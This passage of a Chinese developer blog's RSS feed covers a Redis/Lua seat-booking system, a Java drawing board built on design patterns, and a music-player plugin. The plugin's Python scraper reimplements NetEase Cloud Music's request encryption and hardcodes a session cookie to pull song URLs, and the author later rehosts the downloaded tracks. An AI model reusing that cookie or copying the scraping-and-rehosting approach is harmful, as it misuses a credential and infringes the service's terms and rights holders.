&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;listener&amp;gt;
        &amp;lt;listener-class&amp;gt;edu.options.init.Init&amp;lt;/listener-class&amp;gt;
&amp;lt;/listener&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;（二）、实现思路&lt;/h2&gt;
&lt;h3&gt;一、使用JDBC查询用户信息的用户名密码/密码MD5值（两个字段可以作为键值），此处不再赘述。&lt;/h3&gt;
&lt;h3&gt;二、使用Jedis加载到Redis（此处提供简单的操作）：&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;try {
    // 连接Redis
    Jedis jedis = new Jedis(&amp;quot;127.0.0.1&amp;quot;, 6379);
    // 清空Redis
    jedis.flushAll();
    for (int i = 1; i &amp;lt;= SEAT_SIZE; i++) {
        jedis.hset(&amp;quot;options_&amp;quot; + i, &amp;quot;stock&amp;quot;, &amp;quot;1&amp;quot;);
        jedis.hset(&amp;quot;options_&amp;quot; + i, &amp;quot;unit_amount_&amp;quot; + i, &amp;quot;1&amp;quot;);
    }
    jedis.hset(&amp;quot;options_all&amp;quot;, &amp;quot;all&amp;quot;, SEAT_SIZE + &amp;quot;&amp;quot;);
    // 获取学生信息并存储到Redis
    Map&amp;lt;String, String&amp;gt; numberAndNames = getStudents();
    Set&amp;lt;String&amp;gt; s = numberAndNames.keySet();
    for(String number : s){
        // 根据得到的键，获取对应的值
        String name = numberAndNames.get(number);
        jedis.hset(number, &amp;quot;DNUI&amp;quot;, name);
    }
    // 从resource/time.txt将抢座时间加载到Redis
    String[] times = Tools.getFile(&amp;quot;resource/time.csv&amp;quot;).split(&amp;quot;,&amp;quot;);
    jedis.hset(&amp;quot;startTime&amp;quot;, &amp;quot;TIME&amp;quot;, times[0]);
    jedis.hset(&amp;quot;endTime&amp;quot;, &amp;quot;TIME&amp;quot;, times[1]);
    jedis.hset(&amp;quot;createTime&amp;quot;, &amp;quot;TIME&amp;quot;, times[2]);
} catch (Exception e) {
    e.printStackTrace();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里我存储的是学生学号及姓名。&lt;/p&gt;
&lt;h2&gt;三、具体调用&lt;/h2&gt;
&lt;h3&gt;（一）、此处实现了从resources文件夹出导入Lua脚本，这样可以方便编辑并可以方便以后的改动。这里提供一个函数，可以实现从资源文件夹加载文件（部署到服务器上也可以受用）：&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;/**
* 获取资源文件
* @param fileName 文件名
* @return 文件内容
*/
public static String getFile(String fileName){
    InputStream inputStream = Tools.class.getClassLoader().getResourceAsStream(fileName);
    ByteArrayOutputStream result = new ByteArrayOutputStream();
    byte[] buffer = new byte[1024];
    int length;
    String str = &amp;quot;&amp;quot;;
    try {
        if (inputStream != null) {
            while ((length = inputStream.read(buffer)) != -1) {
                result.write(buffer, 0, length);
            }
            inputStream.close();
            str = result.toString(StandardCharsets.UTF_8.name());
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
    return str;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用时可以这样获取Lua代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;String luaCode = getFile(“resource/options.lua”);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;（二）、Lua文件的编写：&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;local listKey = 'options_list_'..KEYS[1]
local options = 'options_'..KEYS[1]
local stock = tonumber(redis.call('hget', options, 'stock'))
if stock &amp;lt;= 0 then return 0 end --没有座位或座位已被抢完
stock = stock -1
redis.call('hset', options, 'stock', tostring(stock))
redis.call('rpush', listKey, ARGV[1])
local all = tonumber(redis.call('hget', 'options_all', 'all'))
all = all -1
redis.call('hset', 'options_all', 'all', tostring(all))
if all == 0 then return 2 end --成功抢座并且座位已被抢空
return 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是我参考一个抢票系统改的，有不足请指出&lt;/p&gt;
&lt;h3&gt;（三）、Lua文件的使用：&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;@Autowired
private RedisTemplate redisTemplate;
// 加载Lua脚本
private static final String SCRIPT = Tools.getFile(&amp;quot;lua/options.lua&amp;quot;);
// 在缓存LUA脚本后，使用该变量保存Redis返回的32位的SHA1编码，使用它去执行缓存的LUA脚本
private String SHA1 = null;
public String options(long seatNumber, long number){
    String args = number + &amp;quot;-&amp;quot; + System.currentTimeMillis();
    Long result;
    // 获取底层Redis操作对象
    Jedis jedis = (Jedis) redisTemplate.getConnectionFactory().getConnection().getNativeConnection();
    try {
        // 如果脚本没有加载过，那么进行加载，这样就会返回一个sha1编码
        if (SHA1 == null) {
            SHA1 = jedis.scriptLoad(SCRIPT);
        }
        // 执行脚本，返回结果
        Object res = jedis.evalsha(SHA1, 1, seatNumber + &amp;quot;&amp;quot;, args);
        result = (Long) res;
        if(result == 2){
            // 设置结束时间为当前时间
            SimpleDateFormat format = new SimpleDateFormat(&amp;quot;yyyy-MM-dd HH:mm:ss&amp;quot;);
            String nowTime = format.format(new Date());
            jedis.hset(&amp;quot;endTime&amp;quot;, &amp;quot;TIME&amp;quot;, nowTime);
            // 保存数据到数据库
            this.redisOptionsService.saveRedisOptions();
        }
        if(result &amp;gt; 0){
            // 删除Redis列表
            jedis.del(number + &amp;quot;&amp;quot;);
            SimpleDateFormat df = new SimpleDateFormat(&amp;quot;yyyy-MM-dd HH:mm:ss:SSS&amp;quot;);// 设置日期格式
            System.out.println(
                    &amp;quot;学号为&amp;quot; + number + &amp;quot;的同学在&amp;quot; + df.format(new Date()) + &amp;quot;的时间抢到&amp;quot; + seatNumber + &amp;quot;座位&amp;quot;);
            return &amp;quot;成功占据座位&amp;quot;;
        }
    } finally {
        // 确保jedis顺利关闭
        if (jedis != null &amp;amp;&amp;amp; jedis.isConnected()) {
            jedis.close();
        }
    }
    return &amp;quot;此座位已被占据&amp;quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;（四）、抢座完成后的保存：可以看到当抢座完成后会调用this.redisOptionsService.saveRedisOptions();进行数据持久化存储。&lt;/h3&gt;
&lt;p&gt;这里是大部分实现代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;@Autowired
private RedisTemplate redisTemplate = null; // RedisTemplate工具类
@Async
public void saveRedisOptions(){
    System.err.println(&amp;quot;开始保存数据&amp;quot;);
    Long start = System.currentTimeMillis();
    List&amp;lt;Seat&amp;gt; seatList = new ArrayList&amp;lt;&amp;gt;();
    for (long i = 1; i &amp;lt;= SEAT_NUM; i++) {
        seatList.add(getSeatByRedis(i));
    }
    int count = executeBatch(seatList);
    Long end = System.currentTimeMillis();
    System.err.println(&amp;quot;保存数据结束，耗时&amp;quot; + (end - start) + &amp;quot;毫秒，共&amp;quot; + count + &amp;quot;条记录被保存。&amp;quot;);
}

/**
    * 获取座位信息(单个座位信息)
    * @param seatId 座位id
    * @return 单个座位信息
    */
@SuppressWarnings(&amp;quot;unchecked&amp;quot;)
private Seat getSeatByRedis(Long seatId) {
    // 获取列表操作对象
    BoundListOperations ops = redisTemplate.boundListOps(PREFIX + seatId);
    List userIdList = ops.range(0, 1);
    // 保存红包信息
    String args = userIdList.get(0).toString();
    String[] arr = args.split(&amp;quot;-&amp;quot;);
    long numberId = Long.parseLong(arr[0]);
    long time = Long.parseLong(arr[1]);
    // 生成抢红包信息
    Seat seat = new Seat();
    seat.setSeatnumber(seatId);
    seat.setNumber(numberId);
    seat.setTime(new Timestamp(time));
    User user = this.userDao.findByNumber(numberId);
    seat.setName(user.getName());
    seat.setDepartment(user.getDepartment());
    seat.setSex(user.getSex());
    return seat;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：saveRedisOptions()前使用了@Async注解进行异步调用来不阻塞响应。&lt;/p&gt;
&lt;p&gt;executeBatch()是个调用数据库存储的函数。&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Sun, 14 Apr 2019 13:34:29 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/15.html</comments>
    </item>
    <item>
      <title>音乐播放器插件</title>
      <link>https://www.baby7blog.com/myBlog/14.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190513/1557755571328051252.jpg" width="800"&gt;&lt;br&gt;
&lt;h1&gt;音乐播放器插件&lt;/h1&gt;

&lt;h2&gt;一代版本：&lt;/h2&gt;
&lt;p&gt;来自小伟博客：http://www.mlwei.com/1440.html&lt;/p&gt;
&lt;p&gt;歌单来源：QQ音乐&lt;/p&gt;
&lt;p&gt;歌单歌手：J·Fla&lt;/p&gt;
&lt;p&gt;PS：但是似乎并不稳定，设置了不自动播放有时候进去还是自动播放。&lt;/p&gt;
&lt;h2&gt;二代版本：&lt;/h2&gt;
&lt;p&gt;使用APlayer作为博客的音乐播放器插件（APlayer GitHub地址：&lt;a href="https://github.com/MoePlayer/APlayer"&gt;https://github.com/MoePlayer/APlayer&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;但是需要自己写音乐的标题、作者、播放地址、封面和歌词。我使用了python3爬取的网易云的歌单信息，但是音乐地址隔一段时间会过期，所以我写了个定时爬取歌单信息保存到.json中，博客打开时会获取这个json文件以取得歌单信息。&lt;/p&gt;
&lt;p&gt;CloudMusicList.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import requests
from bs4 import BeautifulSoup
import random, math
from Crypto.Cipher import AES
import base64
import codecs
import json
import time
from lxml import html

etree = html.etree


class Spider(object):
    def __init__(self):
        self.headers = {
                 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0',
                 'Cookie':'_iuqxldmzr_=32; _ntes_nnid=8d4ef0883a3bcc9d3a2889b0bf36766a,1533782432391;'
                          'ntes_nuid=8d4ef0883a3bcc9d3a2889b0bf36766a;'
                          'utmc=94650624; WM_TID=GzmBlbRkRGQXeQiYuDVCfoEatU6VSsKC; playerid=19729878;'
                          'utma=94650624.1180067615.1533782433.1533816989.1533822858.9;'
                          'utmz=94650624.1533822858.9.7.utmcsr=cn.bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/;'
                          'WM_NI=S5gViyNVs14K%2BZoVerGK69gLlmtnH5NqzyHcCUY%2BiWm2ZaHATeI1gfsEnK%2BQ1jyP%2FROzbzDV0AyJ'
                          'HR4YQfBetXSRipyrYCFn%2BNdA%2FA8Mv80riS3cuMVJi%2BAFgCpXTiHBNHE%3D; WM_NIKE=9ca17ae2e6ffcda1'
                          '70e2e6ee84b674afedfbd3cd7d98b8e1d0f554f888a4abc76990b184badc4f89e7af8ece2af0fea7c3b92a91eb'
                          'a9b7ec738e8abdd2b741e986a1b7e87a8595fadae648b0b3bc8fcb3f8eafb69acb69818b97ccec5dafee9682cb'
                          '4b98bb87d2e66eb19ba2acaa5bf3b6b7b1ae5a8da6ae9bc75ef49fb7abcb5af8879f87c16fb8889db3ec7cbbae'
                          '97a4c566e992aca2ae4bfc93bad9b37aab8dfd84f8479696a7ccc44ea59dc0b9d7638c9e82a9c837e2a3; JSES'
                          'SIONID-WYYY=sHwCKYJYxz6ODfURChA471BMF%5CSVf3%5CTc8Qcy9h9Whj6CfMxw4YWTMV7CIx5g6rqW8OBv04YGH'
                          'wwq%2B%5CD1N61qknTP%2Fym%2BHJZ1ylSH1EabbQASc9ywIT8YvOr%2FpMgvmm1cbr2%2Bd6ssMYXuTlpOIrKqp%5'
                          'C%2FM611EhmfAfU47%5CSQWAs%2BYzgY%3A1533828139236'
        }

    def __get_mp3(self, id):
        d = '{&amp;quot;ids&amp;quot;:&amp;quot;[%s]&amp;quot;,&amp;quot;br&amp;quot;:320000,&amp;quot;csrf_token&amp;quot;:&amp;quot;&amp;quot;}' % id
        wyy = WangYiYun(d)
        data = wyy.get_data()
        url = 'https://music.163.com/weapi/song/enhance/player/url?csrf_token='
        response = requests.post(url, data=data, headers=self.headers).json()
        return response['data'][0]['url']

    def download_a_music(self, id):
        #这里的url是真实的歌词页面
        url = &amp;quot;http://music.163.com/api/song/lyric?&amp;quot;+&amp;quot;id=&amp;quot;+str(id)+&amp;quot;&amp;amp;lv=1&amp;amp;kv=1&amp;amp;tv=-1&amp;quot;
        html = requests.post(url)
        json_obj = html.text
        #歌词是一个json对象 解析它
        j = json.loads(json_obj)
        try:
            lyric = j['lrc']['lyric']
        except KeyError:
            lyric = &amp;quot;无歌词&amp;quot;
        url = self.__get_mp3(id)
        return url, lyric


class WangYiYun(object):
    def __init__(self, d):
        self.d = d
        self.e = '010001'
        self.f = &amp;quot;00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5a&amp;quot; \
                 &amp;quot;a76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46be&amp;quot; \
                 &amp;quot;e255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7&amp;quot;
        self.g = &amp;quot;0CoJUm6Qyw8W8jud&amp;quot;
        self.random_text = self.get_random_str()

    # js中的a函数
    def get_random_str(self):
        str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
        res = ''
        for x in range(16):
            index = math.floor(random.random() * len(str))
            res += str[index]
        return res

    def aes_encrypt(self, text, key):
        iv = '0102030405060708'  # 偏移量
        pad = 16 - len(text.encode()) % 16  # 使加密信息的长度为16的倍数，要不会报下面的错
        # 长度是16的倍数还会报错，不能包含中文，要对他进行unicode编码
        text = text + pad * chr(pad)  # Input strings must be a multiple of 16 in length
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        msg = base64.b64encode(encryptor.encrypt(text))  # 最后还需要使用base64进行加密
        return msg

    # ras加密
    def rsa_encrypt(self, value, text, modulus):
        text = text[::-1]
        rs = int(codecs.encode(text.encode('utf-8'), 'hex_codec'), 16) ** int(value, 16) % int(modulus, 16)
        return format(rs, 'x').zfill(256)

    def get_data(self):
        # 这个参数加密两次
        params = self.aes_encrypt(self.d, self.g)
        params = self.aes_encrypt(params.decode('utf-8'), self.random_text)
        enc_sec_key = self.rsa_encrypt(self.e, self.random_text, self.f)
        return {
            'params': params,
            'encSecKey': enc_sec_key
        }


def music_msg(song_id, name, artist, cover):
    spider = Spider()
    url, lyric = spider.download_a_music(song_id)
    lyric = lyric.replace('&amp;quot;', &amp;quot;“&amp;quot;)
    # 带歌词的歌单信息
    music_one_json = '{&amp;quot;name&amp;quot;:&amp;quot;' + name + '&amp;quot;,&amp;quot;artist&amp;quot;:&amp;quot;' + artist + '&amp;quot;,&amp;quot;url&amp;quot;:&amp;quot;' + url + '&amp;quot;,&amp;quot;cover&amp;quot;:&amp;quot;' + cover + '&amp;quot;,&amp;quot;lrc&amp;quot;:&amp;quot;' + lyric + '&amp;quot;},'
    # 不带歌词的
    # music_one_json = '{&amp;quot;name&amp;quot;:&amp;quot;' + name + '&amp;quot;,&amp;quot;artist&amp;quot;:&amp;quot;' + artist + '&amp;quot;,&amp;quot;url&amp;quot;:&amp;quot;' + url + '&amp;quot;,&amp;quot;cover&amp;quot;:&amp;quot;' + cover + '&amp;quot;},'
    return music_one_json


def get_music_json():
    url = 'https://music.163.com/#/playlist?id=2487763362'
    new_url = url.replace('/#', '')
    header = {
        'Host': 'music.163.com',
        'Referer': 'https://music.163.com/',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '
                      'Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'
    }
    res = requests.get(new_url, headers=header).text
    r = BeautifulSoup(res, &amp;quot;html.parser&amp;quot;)
    music_dict = {}
    result = r.find('ul', {'class', 'f-hide'}).find_all('a')
    for music in result:
        music_id = music.get('href').strip('/song?id=')
        music_name = music.text
        music_dict[music_id] = music_name
    music_json = &amp;quot;[&amp;quot;
    try:
        for song_id in music_dict:
            music_json += music_msg(song_id, music_dict[song_id], &amp;quot;J·Fla&amp;quot;, &amp;quot;http://p4.music.126.net/79vdQ-WExvH5f_h3GvXcXQ==/109951163694979815.jpg?param=200y200&amp;quot;)
    except Exception as e:
       print(e)
    return music_json[:-1] + &amp;quot;]&amp;quot;


def main():
    while True:
        music_json = get_music_json().replace(&amp;quot;\n&amp;quot;, &amp;quot;\\n&amp;quot;)
        with open('music.json', 'w',encoding='utf8') as fw:
            fw.write(music_json)
        print(music_json)
        music_json = &amp;quot;&amp;quot;
        time.sleep(600)  # 十分钟更新一次


if __name__ == '__main__':
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会发现我偷了个懒，歌曲的演唱者一直没变，实际上这整个歌单全都是J·Fla小姐姐一个人唱的&lt;/p&gt;
&lt;p&gt;后来我发现在服务器上爬虫挺占CPU的。。。毕竟服务器不怎么好，有时间得改一改&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557669625683028526.png" alt="CPU负载图" /&gt;&lt;/p&gt;
&lt;h2&gt;现版本：&lt;/h2&gt;
&lt;p&gt;由于上个版本非常占CPU，所以放弃，究其原因是为了防止过期所以定时爬取更新音乐播放链接，这个方法不可取，但是又不能在服务器上去播放音乐，毕竟服务器的带宽也不怎么宽裕。&lt;/p&gt;
&lt;p&gt;一个办法是将静态音乐文件放在七牛云存储上，七牛云的速度比我的服务器快多了，带宽也大。&lt;/p&gt;
&lt;p&gt;具体的操作是：&lt;/p&gt;

&lt;p&gt;1.修改上版本代码将音乐文件下载到本地&lt;/p&gt;


&lt;p&gt;2.将音乐上传到七牛云的对象空间&lt;/p&gt;


&lt;p&gt;3.修改上版本代码生成一个包含歌词等信息的JSON文件放在七牛云/服务器，此处要注意将音乐播放地址改为七牛云的音乐外链&lt;/p&gt;

&lt;p&gt;结束，消除了定时爬取音乐链接的CPU消耗，也没有增加对服务器的带宽占用，满意
&lt;img src="http://img.baidu.com/hi/jx2/j_0003.gif" alt="满意" /&gt;&lt;/p&gt;</description>
      <category>前端技术</category>
      <pubDate>Sat, 13 Apr 2019 09:29:55 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/14.html</comments>
    </item>
    <item>
      <title>六种设计模式结合的Java绘图板</title>
      <link>https://www.baby7blog.com/myBlog/13.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146348750008778.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;六种设计模式结合的Java绘图板&lt;/h1&gt;

&lt;h2&gt;部分截图：&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146348750008778.png" alt="主界面" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146348750053601.png" alt="保存文件" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146348750054405.png" alt="编辑颜色" /&gt;&lt;/p&gt;
&lt;h2&gt;功能实现：（截图在功能区）&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;用户可以选择颜色、线型，或图形，绘制图形&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;也可以擦除所绘制的图形。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;还可以输入文本信息等&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用户绘制好的图形可以保存到文件，也可以读取文件中的图形 显示在界面上&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;提供撤销和重做功能&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1. 应用场景：&lt;/h3&gt;
&lt;p&gt;绘图板实现铅笔、画刷、取色器、喷枪、橡皮、直线、多边形、矩形、椭圆、圆角矩形、打字的功能，实现了颜色选择，实现了撤销和重做，实现了图片保存、读取等功能。&lt;/p&gt;
&lt;h3&gt;2. 设计模式：&lt;/h3&gt;
&lt;p&gt;工厂模式、备忘录模式、单例模式、模板模式、迭代器模式、状态模式。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;工厂模式：实现工具栏的各个工具。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;备忘录模式：实现撤销和重做。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;单例模式：确保只有一个备忘录的状态列表。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模板模式：创建颜色选择面板和工具栏面板。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;迭代器模式：简化文件过滤器。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;状态模式：实现菜单栏的撤销和重做的是否禁用。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3. 实现代码：&lt;/h3&gt;
&lt;p&gt;代码由java语言实现。&lt;/p&gt;
&lt;h2&gt;一、需求分析&lt;/h2&gt;
&lt;p&gt;    工厂模式是一种创建型设计模式，采用工厂模式通过面向对象的手法，将所要创建的具体对象的创建工作延迟到了子类，从而提供了一种扩展的策略，较好的解决了这种紧耦合的关系。通过定义十一个具体工具的类来实现工具栏的各个功能。备忘录模式就是在不破坏封装的前提下，捕获一个对象的内部状态，并在该对象之外保存这个状态，这样可以在以后将对象恢复到原先保存的状态。该模式主要实现撤销和重做。单例模式涉及到一个单一的类，该类负责创建自己的对象，同时确保只有单个对象被创建。这个类提供了一种访问其唯一的对象的方式，可以直接访问，不需要实例化该类的对象。单例模式主要解决保证历史纪录的唯一性，节省内存。定义一个操作中的算法的骨架，而将一些步骤延迟到子类中。模板方法使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。此模式主要解决创建面板代码的复用问题。迭代器设计模式提供一种方法顺序访问一个聚合对象中的各个元素，而又不暴露其内部的表示。该模式用来简化文件过滤器。对象的行为依赖于它的状态（属性），并且可以根据它的状态改变而改变它的相关行为。该模式用来实现控制菜单栏的撤销重做的是否禁用。&lt;/p&gt;
&lt;h2&gt;二、设计模式类图&lt;/h2&gt;
&lt;p&gt;根据需求分析，绘图板可以采用了六种设计模式，分别是工厂模式、备忘录模式、单例模式、模板模式、迭代器模式和状态模式。&lt;/p&gt;
&lt;h3&gt;类图&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146367953015153.png" alt="类图" /&gt;&lt;/p&gt;
&lt;h3&gt;（1） 工厂模式&lt;/h3&gt;
&lt;p&gt;工厂模式是一种创建型设计模式，采用工厂模式通过面向对象的手法，将所要创建的具体对象的创建工作延迟到了子类，从而提供了一种扩展的策略，较好的解决了这种紧耦合的关系。通过定义十一个具体工具的类来实现工具栏的各个功能。模式类图如图2-1：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146367953083480.jpeg" alt="工厂模式" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146367953051283.png" alt="工厂模式具体" /&gt;&lt;/p&gt;
&lt;p&gt;图2-1 工厂模式类图&lt;/p&gt;
&lt;h3&gt;（2）备忘录模式&lt;/h3&gt;
&lt;p&gt;所谓备忘录模式就是在不破坏封装的前提下，捕获一个对象的内部状态，并在该对象之外保存这个状态，这样可以在以后将对象恢复到原先保存的状态。该模式主要实现撤销和重做。模式类图如图2-2：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146367953081955.jpeg" alt="备忘录模式" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146367953099714.png" alt="备忘录具体" /&gt;&lt;/p&gt;
&lt;p&gt;图2-2（b）备忘录模式类图&lt;/p&gt;
&lt;h3&gt;（3） 单例模式&lt;/h3&gt;
&lt;p&gt;单例模式涉及到一个单一的类，该类负责创建自己的对象，同时确保只有单个对象被创建。这个类提供了一种访问其唯一的对象的方式，可以直接访问，不需要实例化该类的对象。单例模式主要解决保证历史纪录的唯一性，节省内存。模式类图如图2-3：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146367953081248.jpeg" alt="单例模式" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146367953047242.png" alt="单例模式具体" /&gt;&lt;/p&gt;
&lt;p&gt;图2-3 单例模式类图&lt;/p&gt;
&lt;h3&gt;（4）模板模式&lt;/h3&gt;
&lt;p&gt;定义一个操作中的算法的骨架，而将一些步骤延迟到子类中。模板方法使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。此模式主要解决创建面板代码的复用问题。模式类图如图2-4：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146373781027714.jpeg" alt="模板模式" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146373781012256.png" alt="模板模式具体" /&gt;&lt;/p&gt;
&lt;p&gt;图2-4（a） 模板模式类图&lt;/p&gt;
&lt;h3&gt;（5）迭代器模式&lt;/h3&gt;
&lt;p&gt;迭代器设计模式提供一种方法顺序访问一个聚合对象中的各个元素，而又不暴露其内部的表示。该模式用来简化文件过滤器。模式类图如图2-5。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146373781001571.jpeg" alt="迭代器模式" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146373781081726.png" alt="迭代器模式具体" /&gt;&lt;/p&gt;
&lt;p&gt;图2-5迭代器模式类图&lt;/p&gt;
&lt;h3&gt;（6）状态模式&lt;/h3&gt;
&lt;p&gt;对象的行为依赖于它的状态（属性），并且可以根据它的状态改变而改变它的相关行为。该模式用来实现控制菜单栏的撤销重做的是否禁用。模式类图如图2-6。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146373781055047.png" alt="状态模式" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555146373781001502.png" alt="状态模式具体" /&gt;&lt;/p&gt;
&lt;p&gt;图2-6状态模式类图&lt;/p&gt;
&lt;h2&gt;三、代码应用&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/MyBlog/ueditor/jsp/upload/image/20190413/1555146484360011012.png" alt="代码列表1" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/MyBlog/ueditor/jsp/upload/image/20190413/1555146488313013513.png" alt="代码列表2" /&gt;&lt;/p&gt;
&lt;h3&gt;1. 工厂模式&lt;/h3&gt;
&lt;p&gt;Tool抽象一个工具类，ToolFactory类来实例一个生产工具的工厂。工厂模式主要包含： PencilTool类、BrushTool类、EraserTool类、LineTool类、RectTool类、PolygonTool类、RoundTool类、RoundRectTool类、AtomizerTool类、ColorPickedTool类、TextTool类用来实现各种工具。&lt;/p&gt;
&lt;h3&gt;2. 备忘录模式&lt;/h3&gt;
&lt;p&gt;备忘录模式使用三个类 Memento、Originator 和 CareTaker。Memento 包含了要被恢复的对象的状态。Originator 创建并在 Memento 对象中存储状态。Caretaker 对象负责从 Memento 中恢复对象的状态。最终实现撤销和重做。&lt;/p&gt;
&lt;h3&gt;3. 单例模式&lt;/h3&gt;
&lt;p&gt;CareTaker类实现了单例模式，其内部维护了一个图片列表，为了节省内存资源，使用了单例模式。&lt;/p&gt;
&lt;h3&gt;4. 模板模式&lt;/h3&gt;
&lt;p&gt;创建一个定义操作的 MyPanel抽象类，其中，模板方法设置为 final，这样它就不会被重写。ColorPanel和 ToolPanel是扩展了 MyPanel的实体类，它们重写了抽象类的方法。实现创建颜色选择面板和工具栏面板。&lt;/p&gt;
&lt;h3&gt;5. 迭代器模式&lt;/h3&gt;
&lt;p&gt;迭代器模式主要包含;迭代器角色(Iterator)，定义遍历元素所需要的方法。具体迭代器角色(ConcreteIterator)，实现迭代器接口中定义的方法，完成集合的迭代;容器角色(List)，定义集合可以进行的操作;具体容器角色(ConcreteAggregate)，就是抽象容器的具体实现类。用来简化文件过滤。&lt;/p&gt;
&lt;h3&gt;6. 状态模式&lt;/h3&gt;
&lt;p&gt;状态模式主要包含：State类(状态接口),Context类(具体环境),StartState类,MiddleState类,EndState类。用来实现菜单栏的撤销和重做的是否禁用。&lt;/p&gt;
&lt;p&gt;源码请移步CSDN下载：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://download.csdn.net/download/weixin_35706300/11099426"&gt;https://download.csdn.net/download/weixin_35706300/11099426&lt;/a&gt;&lt;/p&gt;</description>
      <category>桌面技术</category>
      <pubDate>Sat, 13 Apr 2019 09:10:20 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/13.html</comments>
    </item>
    <item>
      <title>UEditor的使用及Word的导入</title>
      <link>https://www.baby7blog.com/myBlog/12.html</link>
